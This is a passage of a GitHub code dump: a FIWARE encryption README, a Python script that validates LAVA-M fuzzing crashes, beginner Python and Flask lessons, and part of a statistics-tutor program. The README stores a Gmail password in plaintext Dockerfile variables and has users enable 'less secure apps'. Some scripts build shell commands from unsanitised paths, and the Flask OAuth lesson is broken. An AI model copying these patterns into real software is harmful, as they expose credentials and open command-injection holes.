a security measure and the second one that uses sessions as a security measure. Both stand-alone services enable the encryption and decryption of all up-to-date available FIWARE data models published in [FIWARE Data Models official site](https://www.fiware.org/developers/data-models/).\n\n## Prerequisites\nThe encryption service can be installed on any Operative System.\n\nThe following software must be previously installed in the server which will hold the encryption service.\n1. [Docker](https://www.docker.com/get-started)\n1. [Postman](https://www.getpostman.com/apps)/[Insomnia](https://insomnia.rest/download/)\n\nFurthermore, the following ports containers are required.\n1. ngsi_nodejs 8000 (only for the token-based service)\n1. ngsi_python 2121 (only for the session-based service)\n\nThe service requires an active Gmail account. The use of other email accounts will cause the malfunction of the service. In order to allow sending and receiving emails from an external application, it is necessary to enable this option in the selected Gmail account. To configure the Gmail account, please:\n\n1. Go to the Gmail account configuration via (https://www.google.com/settings/security/lesssecureapps)\n1. Enable the option \"Allow less secure apps\"\n![secure_apps](https://user-images.githubusercontent.com/38957081/51202845-49f61a00-18c5-11e9-88be-1ef960993ce7.png)\n\n\n## Installation and Configuration\nFirst, download or clone the repository to a local directory. Inside each fold of the two implemented services, [session-based](https://github.com/ITESM-FIWARE/data-encryption/tree/master/session-based) and [token-based](https://github.com/ITESM-FIWARE/data-encryption/tree/master/token-based), resides a Dockerfile. Open the Dockerfile with a text editor and modify the fourth and fifth lines with your email and the corresponding password, respectively.\n\n<pre>\n4 ENV ngsi_address_send email\n5 ENV ngsi_encrypt_pass password_email\n</pre>\n\nFor a complete guide, please refer to:\n1. [Installation Guide of the Session-based service](https://github.com/ITESM-FIWARE/data-encryption#session-based-service).\n1. [Installation Guide of the Token-based service](https://github.com/ITESM-FIWARE/data-encryption#token-based-service).\n\n## Getting started\nRefer to the [User Manual of the Session-based service](https://github.com/ITESM-FIWARE/data-encryption#sign-up-1).\n\nRefer to the [User Manual of the Token-based service](https://github.com/ITESM-FIWARE/data-encryption#sign-up).\n\n" } ]
8
MoonLight-SteinsGate/validate_lava.py
https://github.com/MoonLight-SteinsGate/validate_lava.py
95d1a16df459f69d010cf39b1cb7d45773036463
90ed08af41355a8f39446bf939e3de612ebe7d1f
1d5fb53f71abc20cd4662a23f56621d44e7b3722
refs/heads/master
2021-07-06T17:35:21.098322
2020-11-26T04:11:34
2020-11-26T04:11:34
208,601,027
2
2
null
null
null
null
null
[ { "alpha_fraction": 0.7298969030380249, "alphanum_fraction": 0.7319587469100952, "avg_line_length": 39.33333206176758, "blob_id": "44f3848372dfc96574ddb4dda51d0f8f241738ae", "content_id": "8c10057db892d4e3f0bfd52574cc29bbfe47e380", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 485, "license_type": "no_license", "max_line_length": 242, "num_lines": 12, "path": "/README.md", "repo_name": "MoonLight-SteinsGate/validate_lava.py", "src_encoding": "UTF-8", "text": "## Introduction \n\nA python script to validate the crashes in LAVA-M, which is found by AFL or Angora.\n\n## Usage\n\n```bash\n# run validate_lava.py\npython validate_lava.py /path/to/target /path/to/output/directory /path/to/result/directory\n```\n\nThe **/path/to/target** is the path of target (e.g., md5sum, uniq). The **/path/to/output/directory** is the output directory of AFL or Angora. The **/path/to/result/directory** is the directory to export the result of validating the crashes.\n\n" }, { "alpha_fraction": 0.5320261716842651, "alphanum_fraction": 0.5392156839370728, "avg_line_length": 22.18181800842285, "blob_id": "dd4fcf22e6cd03f62adc7c01822ca5f0b448e7d4", "content_id": "541fe02fbfbce687e7ae528dcc3df32b9ddd1785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1530, "license_type": "no_license", "max_line_length": 66, "num_lines": 66, "path": "/validate_lava.py", "repo_name": "MoonLight-SteinsGate/validate_lava.py", "src_encoding": "UTF-8", "text": "import sys\nimport os\n\nvalidate_bugs = []\n\ndef search_file(dirname):\n paths = []\n for root,dirs,files in os.walk(dirname):\n for file in files:\n print file\n if file.startswith(\"README\"):\n continue\n else:\n path = os.path.join(root,file)\n paths.append(path)\n\n return paths\n\ndef execute_file(target, path, other_dir):\n command = target\n\n prog = target.split(\"/\")[-1]\n\n if prog == \"md5sum\":\n command += \" -c \"\n elif prog == \"base64\":\n command += \" -d \"\n elif prog == \"uniq\":\n command += \" \"\n elif prog == \"who\":\n command += \" \"\n\n command += path\n\n ret = os.popen(command)\n\n for line in ret.readlines():\n if line.startswith(\"Successfully triggered bug\"):\n id = int(line.split(\",\")[0].split(\"bug\")[-1])\n validate_bugs.append(id)\n return 0\n\n os.system(\"cp \" + path + \" \" + other_dir)\n\ndef main(argv):\n target = argv[0]\n output_dir = argv[1]\n path_of_result = argv[2]\n\n os.system(\"mkdir \" + path_of_result)\n validate_file = open(path_of_result+\"/validate_bug.txt\", \"w+\")\n dir_of_other_bug = path_of_result + \"/others\"\n os.system(\"mkdir \" + dir_of_other_bug)\n\n paths = search_file(output_dir)\n for path in paths:\n execute_file(target, path, dir_of_other_bug)\n\n uniq_bug = set(validate_bugs)\n for bug in uniq_bug:\n validate_file.write(str(bug)+\"\\n\")\n\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n" } ]
2
anitalesi/SmartNinja
https://github.com/anitalesi/SmartNinja
6b1cd2293566165e6686d247885698b22ff5a9ee
710969d7da979af43c99feaec38db3fcdc00f9ae
6085fd06528dce242328261f6a3af030784fa26e
refs/heads/master
2023-05-26T17:20:57.403484
2019-06-03T10:34:34
2019-06-03T10:34:34
175,568,148
0
0
null
2019-03-14T07:14:53
2019-06-03T10:34:37
2023-05-01T20:33:48
JavaScript
[ { "alpha_fraction": 0.43987342715263367, "alphanum_fraction": 0.44936707615852356, "avg_line_length": 16.58823585510254, "blob_id": "6a7b62fb41627aa1715da3daa8fd0beea08dfb67", "content_id": "a5dd684ab69dbb0738f2466515f0f52fd948ae6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 316, "license_type": "no_license", "max_line_length": 37, "num_lines": 17, "path": "/lesson_9/ggt_groesster_gemeinsamer_teiler.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "x = int(input(\"Add a number:\"))\r\ny = int(input(\"Add another number:\"))\r\n\r\n# abs for negativ numbers\r\nx = abs(x)\r\ny = abs(y)\r\n\r\n# in case of \"0\"\r\nif x == 0 or y == 0:\r\n print(\"No common divider.\")\r\nelse:\r\n while x != y:\r\n if x > y:\r\n x = x-y\r\n else:\r\n y = y-x\r\n print(x)\r\n" }, { "alpha_fraction": 0.6797752976417542, "alphanum_fraction": 0.6820224523544312, "avg_line_length": 34.32653045654297, "blob_id": "4452a9af0787161b1a7a4e0bb9fcc9aecf76f158", "content_id": "61fd4662ea6200334f5c820b5270a26159bac52e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1780, "license_type": "no_license", "max_line_length": 113, "num_lines": 49, "path": "/lesson_20/main.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "from requests_oauthlib import OAuth2Session\r\nfrom flask import Flask, render_template, request, make_response, redirect, session\r\nimport os\r\nimport json\r\n\r\napp = Flask(__name__)\r\n\r\n\r\[email protected](\"/\")\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n# User Authorization\r\[email protected](\"/login\")\r\ndef login():\r\n github = OAuth2Session(os.environ.get(\"client_id\"))\r\n authorization_url, state = github.authorization_url(\"https://github.com/login/oauth/authorize\")\r\n # User Authorization on github\r\n # save user's authorization into a cookie\r\n response = make_response(redirect(authorization_url))\r\n response.set_cookie(authorization_url, httponly=True, samesite='Strict')\r\n\r\n return response\r\n\r\n\r\[email protected](\"/callback\", methods=[\"GET\"])\r\ndef call_back():\r\n # redirected back from the provider to callback URL\r\n github = OAuth2Session(os.environ.get(\"client_id\", state=session['oauth_state']))\r\n token = github.fetch_token(\"https://github.com/login/oauth/access_token\", client_id=\"client_id\",\r\n client_secret=os.environ.get(\"client_secret\"), authorization_response=request.url)\r\n # token saved into a cookie\r\n response = make_response(redirect(token))\r\n response.set_cookie(token, httponly=True, samesite='Strict')\r\n\r\n return response\r\n\r\n\r\[email protected](\"/profile\", methods=[\"GET\"])\r\ndef profile():\r\n # Fetching a protected variables\r\n github = OAuth2Session(os.environ.get(\"client_id\"))\r\n token = request.cookies.get(\"token\")\r\n github_data = github.get('https://api.github.com/user')\r\n return render_template(\"profile.html\", github_data=github_data, token=token)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True) # if you use the port parameter, delete it before deploying to Heroku\r\n" }, { "alpha_fraction": 0.5330296158790588, "alphanum_fraction": 0.5330296158790588, "avg_line_length": 21.210525512695312, "blob_id": "4a3e3c387a40b819956711549829b806dd6bf828", "content_id": "b0bea6437f7c8ceaa0569daf73010c2e05192ca4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 439, "license_type": "no_license", "max_line_length": 60, "num_lines": 19, "path": "/lesson_8/calculator.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "x = float(input(\"Add a number\"))\r\n\r\ny = float(input(\"Add another number \"))\r\n\r\noperation = str(input(\"Choose Operation: +, -, * or /\"))\r\n\r\nwhile operation not in (\"+\",\"-\",\"*\",\"/\"):\r\n print(\"Incorrect operator.\")\r\n\r\n operation = str(input(\"Please choose from: +, -, *, /\"))\r\n\r\nif operation == \"+\":\r\n print(x+y)\r\nelif operation == \"-\":\r\n print(x-y)\r\nelif operation == \"*\":\r\n print(x*y)\r\nelif operation == \"/\":\r\n print (x/y)" }, { "alpha_fraction": 0.4810126721858978, "alphanum_fraction": 0.48945146799087524, "avg_line_length": 24.22222137451172, "blob_id": "0d5fb5eeb94416f0d85edf896b8cee90439009c0", "content_id": "eea7a29961b8d555575269a904360f3febca2e32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 474, "license_type": "no_license", "max_line_length": 67, "num_lines": 18, "path": "/lesson_10/abundant_number.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "while True:\r\n n = int(input(\"Please choose a number\\n\"))\r\n x = 1\r\n result = 0\r\n\r\n for x in range(1, n):\r\n if n % x == 0:\r\n result = result+x\r\n if result > n:\r\n print(\"Abundant number\")\r\n print(\"Abundance:\" + str(result-n))\r\n else:\r\n print(\"Not abundant number\")\r\n user = str(input(\"Would you like to choose another? yes/no\\n\"))\r\n if user.lower() == \"yes\":\r\n continue\r\n else:\r\n break\r\n\r\n" }, { "alpha_fraction": 0.5428050756454468, "alphanum_fraction": 0.5469034314155579, "avg_line_length": 26.519479751586914, "blob_id": "a8f977c39eb05344f01dee2f62abb63dea21e180", "content_id": "fb1ce9f34f418a2d24410955bb20246a537a12b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2197, "license_type": "no_license", "max_line_length": 112, "num_lines": 77, "path": "/guessing_game_oop/guessing_game_oop.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "import random\r\nimport json\r\nimport datetime\r\n\r\n\r\nclass Result(): # class\r\n def __init__(self, player_name, score):\r\n self.date = datetime.datetime.now()\r\n self.player_name = player_name\r\n self.score = score\r\n\r\n\r\ndef play_game(player_name, level):\r\n secret = random.randint(1, 30)\r\n score = 0\r\n\r\n while True:\r\n guess = int(input(\"Please guess the secret number between 1 and 30\"))\r\n score += 1\r\n result_list = get_score()\r\n result = Result(player_name, score) # das Objekt\r\n\r\n result_list.append({player_name, datetime.datetime.now(), score})\r\n\r\n with open(\"result.txt\", \"w\") as result_file: # das Objekt wird in eine json Datei gespeichert\r\n json.dump(result.__dict__, result_file, default=str, indent=3) # json string\r\n\r\n if guess == secret:\r\n print(\"You have guessed it {}!\".format(player_name))\r\n break\r\n\r\n elif guess > secret:\r\n if level.lower() == \"easy\":\r\n print(\"Your guess is not correct ... try something smaller:\")\r\n else:\r\n print(\"Try something else:\")\r\n\r\n elif guess < secret:\r\n if level.lower() == \"easy\":\r\n print(\"Your guess is not correct ... try something bigger:\")\r\n else:\r\n print(\"Try something else:\")\r\n return score\r\n\r\n\r\ndef get_score():\r\n with open(\"result.txt\", \"r\")as read_file:\r\n score = json.load(read_file)\r\n return score\r\n\r\n\r\ndef print_score():\r\n result_list = get_score()\r\n print(result_list)\r\n\r\n\r\ndef user_input():\r\n player_name = str(input(\"What's your name?\"))\r\n\r\n while True:\r\n selection = input(\"Would you like to play a new game? a), would you like to see the score? b) quit? c)\")\r\n\r\n if selection.lower() == \"a\":\r\n difficulty = str(input(\"Please select the difficulty: easy/hard\"))\r\n score = play_game(player_name, difficulty) # score wird als variable ausgeführt\r\n\r\n\r\n elif selection.lower() == \"b\":\r\n print(result)\r\n\r\n else:\r\n print(\"goodbye!\")\r\n break\r\n\r\n\r\nif __name__ == \"__main__\":\r\n user_input()\r\n" }, { "alpha_fraction": 0.633289098739624, "alphanum_fraction": 0.6372678875923157, "avg_line_length": 31.55555534362793, "blob_id": "1acca33b946de530369d07b873c73f2824b2570c", "content_id": "e60072ebee89a81114265b5eb2a3241a3f97ad61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1508, "license_type": "no_license", "max_line_length": 113, "num_lines": 45, "path": "/lesson_17/main.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, make_response\r\nimport random\r\n\r\napp = Flask(__name__)\r\n\r\n\r\[email protected](\"/\", methods=[\"GET\"])\r\ndef index():\r\n # Abfrage und Antwort von Server, ob wir schon Cookie haben\r\n secret_number = str(request.cookies.get(\"secret_number\"))\r\n response = make_response(render_template(\"index.html\"))\r\n\r\n if not secret_number:\r\n response.set_cookie(\"secret_number\", str(random.randint(1, 30))) # speichern\r\n\r\n return response\r\n\r\n\r\[email protected](\"/result\", methods=[\"POST\"])\r\ndef result():\r\n # Abfrage von Benutzer (guess) und von Zufallszahl(secret_number)\r\n guess = str(request.form.get(\"guess\"))\r\n secret_number = str(request.cookies.get(\"secret_number\"))\r\n\r\n if str(secret_number) == str(guess): # Dann vergleichen wir die zwei Nummern\r\n text = \"Success! Congratulation! You have guessed it!\"\r\n response = make_response(render_template(\"result.html\", text=text)) # Objekt Response\r\n response.set_cookie(\"secret_number\", str(random.randint(1, 30))) # Am Ende speichern wir ein neues Cookie\r\n return response\r\n\r\n elif str(secret_number) > str(guess):\r\n text = \"Try something bigger!\"\r\n print(guess)\r\n return render_template(\"result.html\", text=text)\r\n\r\n elif str(secret_number) < str(guess):\r\n text = \"Try something smaller!\"\r\n return render_template(\"result.html\", text=text)\r\n else:\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n app.debug = True\r\n app.run()" }, { "alpha_fraction": 0.8181818127632141, "alphanum_fraction": 0.8181818127632141, "avg_line_length": 10, "blob_id": "8243b3dc89ed35d940dd9975d3a711607461aa43", "content_id": "4949f72ac297a45f9a3780ff1b173777a1d89ea2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 22, "license_type": "no_license", "max_line_length": 12, "num_lines": 2, "path": "/README.md", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "# SmartNinja\ntraining\n" }, { "alpha_fraction": 0.4761904776096344, "alphanum_fraction": 0.5311355590820312, "avg_line_length": 14.9375, "blob_id": "ba357b8ee36ee58cb0632f3eb9a1960f3e389b95", "content_id": "a9507a5797817ee010cb4c882fdd1e97f3174e60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 273, "license_type": "no_license", "max_line_length": 52, "num_lines": 16, "path": "/lesson_10/isbn.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "number = int(input(\"Please choose a 10-digit ISBN\"))\r\n\r\ndigit = 0\r\ni = 1\r\nisbn = 0\r\n\r\nfor i in range(1, 11):\r\n digit = number % 10\r\n isbn = isbn + i*digit\r\n print(digit)\r\n number //= 10\r\n\r\nif isbn % 11 == 0:\r\n print(\"Valid.\")\r\nelse:\r\n print(\"Invalid\")\r\n\r\n" }, { "alpha_fraction": 0.5415162444114685, "alphanum_fraction": 0.5487364530563354, "avg_line_length": 24.5, "blob_id": "9604099f0318f95d73c9f4ade91c540e055b5282", "content_id": "3239df5da6f2b1fb5de6461bab398d4f2379b438", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 277, "license_type": "no_license", "max_line_length": 63, "num_lines": 10, "path": "/lesson_9/kilometer.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "print(\"Greetings!\")\r\n\r\nwhile True:\r\n km = float(input(\"Please enter numbers of kilometer:\"))\r\n mile = 0.6 * km\r\n print(mile)\r\n user = str(input(\"would you like to add another? yes/no:\"))\r\n if user.lower() == \"no\":\r\n break\r\nprint(\"Good-bye!\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.44246354699134827, "alphanum_fraction": 0.4797406792640686, "avg_line_length": 26.136363983154297, "blob_id": "1696be6ead0ebfbd2d79e3bf883af06177e0fae3", "content_id": "8c453ca849b5150350dbe7c3a36602083d78c8b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 617, "license_type": "no_license", "max_line_length": 64, "num_lines": 22, "path": "/lesson_9/fizzbuzz.py", "repo_name": "anitalesi/SmartNinja", "src_encoding": "UTF-8", "text": "print(\"Welcome to Fizzbuzz!\")\r\nwhile True:\r\n user = int(input(\"Add number between 1 and 100\\n\"))\r\n i = 1\r\n while user not in range(1, 101):\r\n user = int(input(\"Add number between 1 and 100\\n\"))\r\n for i in range(1, user+1):\r\n if i % 3 == 0 and i % 5 == 0:\r\n print(\"fizzbuzz\")\r\n elif i % 3 == 0:\r\n print(\"fizz\")\r\n elif i % 5 == 0:\r\n print(\"buzz\")\r\n else:\r\n print(i)\r\n user = str(input(\"Would you like to add another? yes/no\\n\"))\r\n if user.lower() == \"yes\":\r\n continue\r\n else:\r\n break\r\n\r\nprint(\"Good-bye!\")" } ]
10
wujunyi792/hduoj2Markdown
https://github.com/wujunyi792/hduoj2Markdown
9bb139236d2aa8f1b840375bba791df704186cef
5ac076680d146a6a8ef7aa2c1e5a60287c93e66e
c3f1f715687fe55c45819859c80ee0c15fa2789e
refs/heads/main
2023-08-05T13:19:17.378759
2021-10-08T17:49:29
2021-10-08T17:49:29
415,073,989
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5512820482254028, "alphanum_fraction": 0.571906328201294, "avg_line_length": 18.933332443237305, "blob_id": "a59fbfdfc51e6fa92bc657dcc1128c55285d1055", "content_id": "b99a45bd3df6110b86d6de1c1514fa8117678f20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1870, "license_type": "no_license", "max_line_length": 288, "num_lines": 90, "path": "/main.py", "repo_name": "wujunyi792/hduoj2Markdown", "src_encoding": "UTF-8", "text": "import httpx\nimport re\n\nurl = \"http://acm.hdu.edu.cn/webcontest/contest_login.php?cid=14214\"\n\ntemple = '''\n## {}\n\nProblem Description\n\n```\n{}\n```\n\nInput\n\n```\n{}\n```\n\nOutput\n\n```\n{}\n```\n\nSample Input\n\n```\n{}\n```\n\nSample Output\n\n```\n{}\n```\n\n### MyResult\n\n```c\n//\n\n```\n\n\n'''\n\nclient = httpx.Client()\n\n# 获取一个PHPSESSION\nclient.get(url=url)\n\n# 登录\ndata = {\"password\": \"woaibiancheng\"}\nres = client.post(url=url + \"&action=login\", data=data)\nif len(res.history) == 1:\n print(\"登陆成功\")\nelse:\n exit(\"登陆失败\")\n\nquestionList = re.compile(\"<a href=\\\"(.*)\\\">(.*)</a></td>\").findall(res.text)\nif len(questionList) != 0:\n print(\"获取列表成功\")\nelse:\n exit(\"获取试卷列表失败\")\n\ni = 1001\nout = \"\"\n\nfor item in questionList:\n res = client.get(url=\"http://acm.hdu.edu.cn/webcontest/\" + item[0])\n detail = re.compile(\n \"<div class=panel_content>(.*?)</div>.*?<div class=panel_content>(.*?)</div>.*?<div class=panel_content>(.*?)</div>.*?<div style=\\\"font-family:Courier New,Courier,monospace;\\\">([\\s\\S]*?)</div>.*?<div style=\\\"font-family:Courier New,Courier,monospace;\\\">([\\s\\S]*?)</div>\").findall(\n res.text)\n # print(detail)\n if len(detail) == 1 and len(detail[0]) == 5:\n print(f\"获取 {i} 成功\")\n else:\n exit(\"获取试卷失败\")\n\n out += temple.format(i, detail[0][0], detail[0][1],\n detail[0][2], detail[0][3],\n detail[0][4])\n i += 1\nout = out.replace(\"&lt;\", \"<\").replace(\"&gt;\", \">\").replace(\"<br>\", \"\\n\").replace(\n \"<div style='font-family:Times New Roman;font-size:14px;background-color:F4FBFF;border:#B7CBFF 1px dashed;padding:6px'><div style='font-family:Arial;font-weight:bold;color:#7CA9ED;border-bottom:#B7CBFF 1px dashed'><i>Hint</i></div>\",\n \"# Hint\")\n# print(out)\nopen(\"questions.md\", \"w\", encoding=\"UTF-8\").write(out)\n" } ]
1
purelogiq/StatProfessorWeng
https://github.com/purelogiq/StatProfessorWeng
cfc051eaae9670ef40024b63247cf7b3c92ab235
41535bb9efb483bc82d14c14dc94b0d87eb5fe19
7e9884d02d52c95953b1dea912213aa1efcb5fd1
refs/heads/master
2021-01-25T04:57:32.030575
2015-01-09T02:21:49
2015-01-09T02:21:49
28,996,053
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7676190733909607, "alphanum_fraction": 0.776190459728241, "avg_line_length": 40.959999084472656, "blob_id": "595b07e5fc2f3590f3ba3cbc13ed454f06035ea0", "content_id": "9e19ac766a96aa4e259f1410525ef46c0cb0ae87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1050, "license_type": "no_license", "max_line_length": 215, "num_lines": 25, "path": "/README.md", "repo_name": "purelogiq/StatProfessorWeng", "src_encoding": "UTF-8", "text": "# StatProfessorWeng \nSimple text based statistics in python \n\nApplication:\tNORM-FERENCE \nCreator:\[email protected] \nClass:\t\t15-112E \n(Project from a entry level course) \n\nThis program is console based. It walks the user through very simple statistical calculations just like a professor would. \nRun using Python 2.6 or 2.7. \nThere is sample input in the samples folder \n\nMODULE OVERVIEW: \n\nnorm_ference_main: \n This is the main application. This is what controls the flow of dialog and input and connects the other modules together to form the final application. \n\nprof: \n The static Prof class is responsible for showing dialog. \n\nsample: \n The Sample class calculates and stores data based on what it was given. It is what handles all the statistical aspects of this application so the other modules can focus on the user interface and input checking. \n\nhelper:\n\tThis module contains helper methods. Though there are other methods, most are centered around making IO operations simpler with error checking based on the given parameters. " }, { "alpha_fraction": 0.5300605297088623, "alphanum_fraction": 0.5377725958824158, "avg_line_length": 33.65229797363281, "blob_id": "ccd3d3cf8cc41cf7169aa81adbc3845e3c8bad47", "content_id": "294cfef3bcf8b7e0c5b371bc5cbf2b9cfb4b0fda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12059, "license_type": "no_license", "max_line_length": 79, "num_lines": 348, "path": "/norm_ference_main.py", "repo_name": "purelogiq/StatProfessorWeng", "src_encoding": "UTF-8", "text": "#------------------------------------------------------------------------------\n# Author: Israel Madueme ([email protected])\n# Created: 08/08/2012\n# Class: 15-112E Summer\n#\n# NormFerence main application\n#------------------------------------------------------------------------------\nfrom prof import Prof\nfrom sample import Sample\nimport helper\n\ndef run():\n class Struct: pass\n global userInput\n userInput = Struct()\n intro()\n\n\ndef intro():\n Prof.speak(\"\", Prof.TEXT_NORMFERENCE)\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_INTRO)\n helper.readString(\"Are you ready?: \", None)\n letsGetStarted()\n\n\ndef letsGetStarted():\n print #Prints new line\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_OVERVIEW)\n ready = helper.getString(\"Are you ready?\" +\n \"[yes/talk faster]: \",\n Prof.FACE_INVALID_INPUT,\n [\"yes\", \"talk faster\"])\n if ready == \"talk faster\":\n Prof.speech_delay = 0\n dataOrDescriptive()\n\n\ndef dataOrDescriptive():\n print\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_DATA_OR_DIS)\n data = helper.getString(\"What type of data do you have? [list/summary]: \",\n Prof.FACE_INVALID_INPUT,\n [\"list\", \"summary\"])\n print\n if data == \"list\":\n getListData()\n else:\n userInput.numbers = False\n getSummaryData()\n\n\ndef getListData():\n print\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_FILE_OR_MANUALLY)\n dataLoc = helper.getString(\"How do you want to enter the numbers? \" +\n \"[file/by hand]: \",\n Prof.FACE_INVALID_INPUT,\n [\"file\", \"by hand\"])\n\n error = \"\"\n userInput.numbers = False\n while userInput.numbers == False:\n if dataLoc == \"file\":\n try:\n userInput.numbers =\\\n helper.loadNumericCSV(helper.readString(error +\n \"Enter a file path: \", None))\n except helper.InvalidCSV:\n error = \"Invalid CSV file. \"\n except:\n error = \"Invalid file path. \"\n else:\n userInput.numbers = helper.readNumByLine()\n print\n getSummaryData()\n\n\ndef getSummaryData():\n if(userInput.numbers == False):\n userInput.numbers = None\n getXBar()\n getSampleSize()\n else:\n userInput.xbar = None\n userInput.n = len(userInput.numbers)\n\n getSigma()\n if(userInput.sigma == None and userInput.numbers == None):\n getS()\n else:\n userInput.s = None\n\n getNullHyp()\n getConfidenceLevel()\n\n getIsRandom()\n if userInput.n >= 30: userInput.isNormal = True\n else: getIsNormal()\n getIsIndependant()\n\n getMeasurementName()\n\n report()\n\n\ndef getXBar():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_XBAR)\n userInput.xbar = helper.getFloat(\"Enter the average (x-bar): \",\n Prof.FACE_INVALID_INPUT,\n None, None)\n print\n\n\ndef getSampleSize():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_N)\n userInput.n = helper.getInt(\"Enter the sample size (n) [>= 1]: \",\n Prof.FACE_INVALID_INPUT,\n 1, None)\n print\n\n\ndef getSigma():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_SIGMA)\n know = helper.getString(\"Do you know the value of sigma? [yes/no]: \",\n Prof.FACE_INVALID_INPUT,\n [\"yes\", \"no\"])\n if know == \"yes\":\n userInput.sigma = \\\n helper.getFloat(\"Enter the population standard deviation (sigma)\"+\n \"[>=1]: \",\n Prof.FACE_INVALID_INPUT,\n 1, None)\n else:\n userInput.sigma = None\n print\n\n\ndef getS():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_S)\n userInput.s =\\\n helper.getFloat(\"Enter the sample standard deviation (s) [>= 1]: \",\n Prof.FACE_INVALID_INPUT,\n 1, None)\n print\n\n\ndef getNullHyp():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_NULL)\n userInput.nullHyp =\\\n helper.getFloat(\"Enter your hypothesis for the population mean (Ho): \",\n Prof.FACE_INVALID_INPUT,\n None, None)\n print\n\n\ndef getConfidenceLevel():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_CL)\n cLevel = helper.getString(\"Enter how confident you want to be [95/99]: \",\n Prof.FACE_INVALID_INPUT,\n [\"95\", \"99\"])\n if cLevel == \"99\":\n userInput.cLevel = Sample.Z_CLEVEL_99\n else:\n userInput.cLevel = Sample.Z_CLEVEL_95\n print\n\n\ndef getIsRandom():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_ISRANDOM)\n isRandom =\\\n helper.getString(\"Was the sample collected randomly? [yes/no] : \",\n Prof.FACE_INVALID_INPUT,\n [\"yes\", \"no\"])\n if isRandom == \"yes\": userInput.isRandom = True\n else: userInput.isRandom = False\n print\n\n\ndef getIsNormal():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_ISNORMAL)\n isNormal =\\\n helper.getString(\"Do you think the population is normal? [yes/no]: \",\n Prof.FACE_INVALID_INPUT,\n [\"yes\", \"no\"])\n if isNormal == \"yes\": userInput.isNormal = True\n else: userInput.isNormal = False\n print\n\n\ndef getIsIndependant():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_ISINDEPENDANT)\n isIndependant =\\\n helper.getString(\"Were the measurements independant? [yes/no]: \",\n Prof.FACE_INVALID_INPUT,\n [\"yes\", \"no\"])\n if isIndependant == \"yes\": userInput.isIndependant = True\n else: userInput.isIndependant = False\n print\n\n\ndef getMeasurementName():\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_GET_LABEL)\n userInput.measurementName = \\\n helper.getString(\"Enter a label for the data: \",\n Prof.FACE_INVALID_INPUT,\n None)\n print\n\n\ndef report():\n sample = Sample(numbers = userInput.numbers,\n xbar = userInput.xbar,\n sigma = userInput.sigma,\n s = userInput.s,\n n = userInput.n,\n nullHyp = userInput.nullHyp,\n confidenceLevel = userInput.cLevel,\n isRandom = userInput.isRandom,\n isNormal = userInput.isNormal,\n isIndependant = userInput.isIndependant,\n measurementName = userInput.measurementName)\n\n Prof.speech_delay = 0.1\n Prof.speak(Prof.FACE_NORMAL, Prof.TEXT_CALCULATING)\n Prof.speak(Prof.FACE_HMM, Prof.TEXT_HMMM)\n Prof.speak(Prof.FACE_MHMM, Prof.TEXT_MHMMM)\n Prof.speak(Prof.FACE_WOAH, Prof.TEXT_WOAH)\n Prof.speak(Prof.FACE_CANT_BE_RIGHT, Prof.TEXT_CANT_BE_RIGHT)\n Prof.speak(Prof.FACE_HOW_TO_DO, Prof.TEXT_HOW_TO_DO_THIS)\n Prof.speak(Prof.FACE_OH, Prof.TEXT_OOO)\n Prof.speak(Prof.FACE_AHA, Prof.TEXT_AHA)\n Prof.speak(Prof.FACE_DONE, Prof.TEXT_DONE)\n\n #give report\n if(sample.numbers != None):\n Prof.speak(Prof.FACE_NORMAL, Prof.REPORT_HISTOGRAM)\n 